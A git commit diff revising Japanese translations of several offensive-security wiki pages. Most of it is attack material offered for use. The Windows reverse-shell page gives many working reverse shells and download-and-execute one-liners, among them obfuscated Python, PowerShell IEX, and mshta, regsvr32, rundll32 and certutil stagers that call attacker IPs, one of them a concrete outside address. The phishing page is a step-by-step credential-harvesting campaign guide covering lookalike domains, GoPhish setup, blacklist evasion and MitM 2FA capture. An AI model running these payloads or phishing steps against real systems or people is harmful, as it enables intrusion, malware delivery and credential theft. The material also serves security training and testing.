Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

This commit is contained in:
Translator 2025-02-04 18:47:55 +00:00
parent 78e2d168e7
commit b18c17136b
23 changed files with 637 additions and 718 deletions

View File

@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) はポータブルで安全なNetcatの代替です**。Unix系システムとWin32で動作します。強力な暗号化、プログラム実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えたsbdは、TCP/IP通信のための多用途なソリューションを提供します。Windowsユーザーには、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼できる代替品として使用できます。
**[sbd](https://www.kali.org/tools/sbd/) はポータブルで安全なNetcatの代替手段です**。Unix系システムとWin32で動作します。強力な暗号化、プログラム実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えたsbdは、TCP/IP通信のための多用途なソリューションを提供します。Windowsユーザーには、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼できる代替品として使用できます。
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -39,7 +39,7 @@ sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
## パイソン
## Python
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
@ -54,7 +54,7 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen(
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## ルア
## Lua
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
@ -66,7 +66,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
被害
犠牲
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -74,7 +74,7 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## パワーシェル
## Powershell
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
ネットワークコールを実行しているプロセス: **powershell.exe**\
ディスクに書き込まれたペイロード: **いいえ** (_少なくともprocmonを使用して見つけることができた場所にはありませんでした_)
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられた場所にはありませんでした_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **hta-pshリバースシェルの例htaを使用してPSバックドアをダウンロードして実行する**
#### **hta-pshリバースシェルの例htaを使用してPSバックドアをダウンロードして実行**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Koadic ゾンビを stager hta を使用して非常に簡単にダウンロードして実行できます**
**Koadicゾンビを非常に簡単にダウンロードして実行できます。ステージャHTAを使用します。**
#### hta の例
#### HTAの例
[**こから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
[**こちらから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml
<html>
<head>
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
```
#### **mshta - sct**
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**こから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -161,7 +161,7 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**検出されたデファンダー**
**ディフェンダーによって検出されました**
## **Rundll32**
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**検出されたデファンダー**
**ディフェンダーによって検出されました**
**Rundll32 - sct**
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**こから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**ディフェンダーによって検出されました**
**検出されたデファンダー**
#### Regsvr32 -sct
[**こちらから**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -249,13 +249,13 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Koadic ゾンビを stager regsvr を使用して非常に簡単にダウンロードして実行できます**
**Koadicゾンビをstager regsvrを使用して非常に簡単にダウンロードして実行できます**
## Certutil
- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
B64dll をダウンロードし、デコードして実行します。
B64dllをダウンロードし、デコードして実行します。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
@ -273,7 +273,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**ディフェンダーによって検出されました**
**Defenderによって検出されました**
## PS-Bat
```bash
@ -337,7 +337,7 @@ cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**検出されません**
**検出されていません**
## **CSC**
@ -369,13 +369,13 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
## Powershell シェル
## Powershell Shells
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells** フォルダには、さまざまなシェルがたくさんあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
**Shells**フォルダには、さまざまなシェルがたくさんあります。Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
PowerShellランチャーを作成し、ファイルに保存してダウンロードおよび実行します。
PowerShellランチャーを作成し、それをファイルに保存してダウンロードおよび実行します。
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -434,7 +434,7 @@ unicornを使用してmetasploitバックドアのpowershellバージョンを
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
作成したリソースでmsfconsoleを起動します:
作成したリソースでmsfconsoleを開始します:
```
msfconsole -r unicorn.rc
```
@ -446,9 +446,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## もっと
[PS>Attack](https://github.com/jaredhaight/PSAttack) PSコンソールにいくつかの攻撃的なPSモジュールがプリロードされています(暗号化)\
[PS>Attack](https://github.com/jaredhaight/PSAttack) PSコンソールにいくつかの攻撃的なPSモジュールをプリロードしたもの (暗号化)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PSコンソールにいくつかの攻撃的なPSモジュールとプロキシ検出が含まれていますIEX
WinPWN](https://github.com/SecureThisShit/WinPwn) PSコンソールにいくつかの攻撃的なPSモジュールとプロキシ検出を含む (IEX)
## 参考文献

View File

@ -6,7 +6,7 @@
1. 被害者の調査
1. **被害者のドメイン**を選択します。
2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。
2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。
3. **OSINT**を使用して**メールアドレス**を**見つけます**
2. 環境の準備
1. フィッシング評価に使用する**ドメインを購入**します。
@ -15,13 +15,13 @@
3. キャンペーンの準備
1. **メールテンプレート**を準備します。
2. 認証情報を盗むための**ウェブページ**を準備します。
4. キャンペーンを開始します
4. キャンペーンを開始!
## 類似のドメイン名を生成するか、信頼できるドメインを購入する
### ドメイン名のバリエーション技術
- **キーワード**: ドメイン名に元のドメインの重要な**キーワード**が**含まれています**(例: zelster.com-management.com
- **キーワード**: ドメイン名は元のドメインの重要な**キーワード**を**含みます**(例: zelster.com-management.com
- **ハイフン付きサブドメイン**: サブドメインの**ドットをハイフンに変更**します(例: www-zelster.com
- **新しいTLD**: 同じドメインを使用して**新しいTLD**を使用します(例: zelster.org
- **ホモグリフ**: ドメイン名の文字を**似たような文字に置き換えます**(例: zelfser.com
@ -29,7 +29,7 @@
- **単数化/複数化**: ドメイン名の末尾に「s」を追加または削除します例: zeltsers.com
- **省略**: ドメイン名から**1つの文字を削除します**(例: zelser.com
- **繰り返し**: ドメイン名の**1つの文字を繰り返します**(例: zeltsser.com
- **置換**: ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字置き換えます(例: zektser.com
- **置換**: ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字置き換えます(例: zektser.com
- **サブドメイン化**: ドメイン名内に**ドットを挿入します**(例: ze.lster.com
- **挿入**: ドメイン名に**文字を挿入します**(例: zerltser.com
- **ドットの欠落**: ドメイン名にTLDを追加します例: zelstercom.com
@ -60,7 +60,7 @@
### 信頼できるドメインを購入する
[https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索できます。\
購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを確認できます:
購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを検索できます:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -73,8 +73,8 @@
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
**さらに多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはここを参照してください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーのブルートフォース攻撃に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。
**より多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはここを学んでください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーネームのブルートフォース攻撃に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。
## GoPhishの設定
@ -208,7 +208,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
サービスの設定を完了し、次の手順を実行して確認します:
サービスの設定を完了し、次のことを確認します:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -225,9 +225,9 @@ service gophish stop
ドメインが古いほど、スパムとして検出される可能性は低くなります。そのため、フィッシング評価の前にできるだけ長く少なくとも1週間待つべきです。さらに、評判の良い分野に関するページを作成すれば、得られる評判はより良くなります。
1週間待たなければならなくても、今すぐにすべての設定を終えることができます。
1週間待たなければならない場合でも、今すぐにすべての設定を完了させることができます。
### 逆引きDNSrDNSレコードの設定
### リバースDNSrDNSレコードの設定
VPSのIPアドレスをドメイン名に解決するrDNSPTRレコードを設定します。
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
新しいドメインのために**DMARCレコードを設定する必要があります**。DMARCレコードが何か分からない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。
次の内容でホスト名 `_dmarc.<domain>` を指す新しいDNS TXTレコードを作成する必要があります:
ホスト名 `_dmarc.<domain>` を指す新しいDNS TXTレコードを作成し、以下の内容を含める必要があります:
```bash
v=DMARC1; p=none
```
@ -283,7 +283,7 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass``Authentication-Results`ヘッダーフィールドに存在する必要があります。
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass``Authentication-Results`ヘッダーに存在する必要があります。
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
@ -291,11 +291,11 @@ dkim=pass header.i=@example.com;
```
### Spamhouseのブラックリストからの削除
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがSpamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストするには、[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) にアクセスしてください。
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Microsoftのブラックリストからの削除
あなたのドメイン/IPの削除をリクエストするには、[https://sender.office.com/](https://sender.office.com) にアクセスしてください。
あなたのドメイン/IPの削除をリクエストすることができます: [https://sender.office.com/](https://sender.office.com).
## GoPhishキャンペーンの作成と開始
@ -303,21 +303,21 @@ dkim=pass header.i=@example.com;
- 送信者プロファイルを識別するための**名前を設定**します
- フィッシングメールを送信するアカウントを決定します。提案: _noreply, support, servicedesk, salesforce..._
- ユーザー名とパスワードは空白のままにできますが、「証明書エラーを無視する」をチェックすることを確認してください
- ユーザー名とパスワードは空白のままにできますが、「証明書エラーを無視する」をチェックすることを確認してください
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> すべてが正常に動作していることを確認するために、"**テストメールを送信**"機能を使用することをお勧めします。\
> テストを行う際にブラックリストに載らないように、**10分メールアドレスにテストメールを送信する**ことをお勧めします。
> テストを行う際にブラックリストに載らないように、**テストメールを10分メールアドレスに送信することをお勧めします**
### メールテンプレート
- テンプレートを識別するための**名前を設定**します
- 次に、**件名**を書きます(特に奇妙なものではなく、通常のメールで読むことができるもの
- 次に、**件名**を書きます(特に奇妙なことはなく、通常のメールで読むことができる内容にします
- "**トラッキング画像を追加**"にチェックを入れていることを確認してください
- **メールテンプレート**を書きます(以下の例のように変数を使用できます):
```markup
```html
<html>
<head>
<title></title>
@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することをお勧めします。提案:
注意してほしいのは、**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することが推奨されるということです。提案:
- **存在しないアドレス**にメールを送信し、返信に署名が含まれているか確認します。
- info@ex.comやpress@ex.com、public@ex.comのような**公開メール**を探し、メールを送信して返信を待ちます。
@ -344,23 +344,23 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
![](<../../images/image (80).png>)
> [!NOTE]
> メールテンプレートでは、**送信するファイルを添付**することもできます。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことに興味がある場合は、[このページを読む](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
> Email Templateは、**送信するファイルを添付することも可能です**。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことを希望する場合は、[このページを読む](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
### ランディングページ
- **名前**を記入
- **ウェブページのHTMLコード**を記入します。ウェブページを**インポート**することもできます。
- **送信されたデータをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
- **提出データをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
- **リダイレクト**を設定します。
![](<../../images/image (826).png>)
> [!NOTE]
> 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要がありますおそらくApacheサーバーを使用して**結果に満足するまで**その後、そのHTMLコードをボックスに記入します。\
> 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要がありますおそらくApacheサーバーを使用して**結果に満足するまで**その後、そのHTMLコードをボックスに記入します。\
> HTML用に**静的リソース**おそらくCSSやJSページを使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\<filename>**_からアクセスできます。
> [!NOTE]
> リダイレクトでは、**ユーザーを被害者の正当なメインウェブページにリダイレクト**するか、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール****[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。
> リダイレクトについては、**被害者の正当なメインウェブページにユーザーをリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール****[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。
### ユーザーとグループ
@ -373,12 +373,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
最後に、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択してキャンペーンを作成します。URLは被害者に送信されるリンクになります。
**送信プロファイルは、最終的なフィッシングメールがどのように見えるかを確認するためにテストメールを送信できます**
**送信プロファイルは、最終的なフィッシングメールがどのように見えるかを確認するためにテストメールを送信することを許可します**
![](<../../images/image (192).png>)
> [!NOTE]
> テストメールは**10分メールアドレス**に送信することをお勧めします。テスト中にブラックリストに載るのを避けるためです。
> テストメールを**10分メールアドレス**に送信することをお勧めします。テストを行う際にブラックリストに載るのを避けるためです。
すべてが準備できたら、キャンペーンを開始してください!
@ -403,23 +403,23 @@ phishing-documents.md
### プロキシMitM経由
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーによって設定された情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。
ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します
1. 実際のウェブページのログインフォームを**偽装**します。
2. ユーザーは**資格情報**をあなたの偽のページに**送信**し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するか確認します**。
3. アカウントが**2FA**で設定されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
4. ユーザーが認証されると、あなた(攻撃者)は**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。
4. ユーザーが認証されると、あなた(攻撃者)は**資格情報、2FA、クッキー、ツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。
### VNC経由
もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザを持つVNCセッションに送信したら**どうなるでしょうか彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます\
もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザを持つVNCセッションに送信したらどうなるでしょうか**彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます...\
これを[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)で行うことができます。
## 検出の検出
明らかに、あなたがバストされたかどうかを知る最良の方法の1つは、**ブラックリスト内であなたのドメインを検索すること**です。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
明らかに、あなたがバストされたかどうかを知る最良の方法の1つは、**ブラックリスト内であなたのドメインを検索することです**。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。
ただし、被害者が**野外で疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は次の通りです:
@ -428,7 +428,7 @@ phishing-documents.md
detecting-phising.md
{{#endref}}
被害者のドメインに非常に似た名前のドメインを**購入する**ことができます**および/または**あなたが制御するドメインの**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含む。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、あなたは**彼が積極的に探している**ことを知り、非常にステルスである必要があります。
被害者のドメインに非常に似た名前のドメインを**購入する**ことができ**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むドメインを制御しています。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。
### フィッシングの評価

View File

@ -6,11 +6,11 @@
## 機密情報の漏洩
ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができるソーシャルエンジニアリング場合、最新のGETリクエスト内の機密情報を抽出できる可能性があります。
ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができるソーシャルエンジニアリング場合、最新のGETリクエスト内の機密情報を抽出することが可能です。
## 緩和策
ブラウザ機密情報が他のウェブアプリケーションに送信されるのを**回避**する**リファラーポリシー**に従うようにすることができます:
ブラウザに**Referrer-policy**を遵守させることで、機密情報が他のウェブアプリケーションに送信されるのを**回避**することができます:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
@ -21,10 +21,10 @@ Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## カウンター緩和
## Counter-Mitigation
このルールはHTMLメタタグを使用して上書きできます攻撃者はHTMLインジェクションを利用する必要があります
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -68,16 +68,16 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効になっている場合に、adbを介した不正なデータバックアップを防ぐことができます。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正アクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正アクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。
- **SDKバージョン**: `minSdkVersion``targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
- **SDKバージョン**: `minSdkVersion``targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調しています。
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。
### タップジャッキング
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、同時にその対話を被害者アプリに渡します。\
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
